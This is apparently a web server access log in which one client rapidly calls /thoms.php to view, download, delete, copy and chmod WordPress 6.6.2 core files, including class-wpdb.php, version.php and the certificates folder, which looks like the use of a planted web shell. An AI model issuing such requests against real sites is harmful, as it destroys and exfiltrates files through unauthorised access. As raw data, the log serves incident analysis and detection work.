45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22313 "https://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=category.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?del=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?del=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?del=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22239 "https://163.245.207.76:443/thoms.php?del=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?dl=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=script-modules.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?del=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?del=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22236 "https://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=wp-db.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?chmod=images&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=images&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?chmod=images&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:18 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22266 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=load.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Flocale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Flocale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22234 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?del=assets&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=assets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Flocale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?del=certificates&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=certificates&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=assets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=certificates&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?del=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22249 "https://163.245.207.76:443/thoms.php?del=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?dl=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fuser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fuser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?chmod=Text&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=Text&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22012 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fuser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=Text&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FText&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
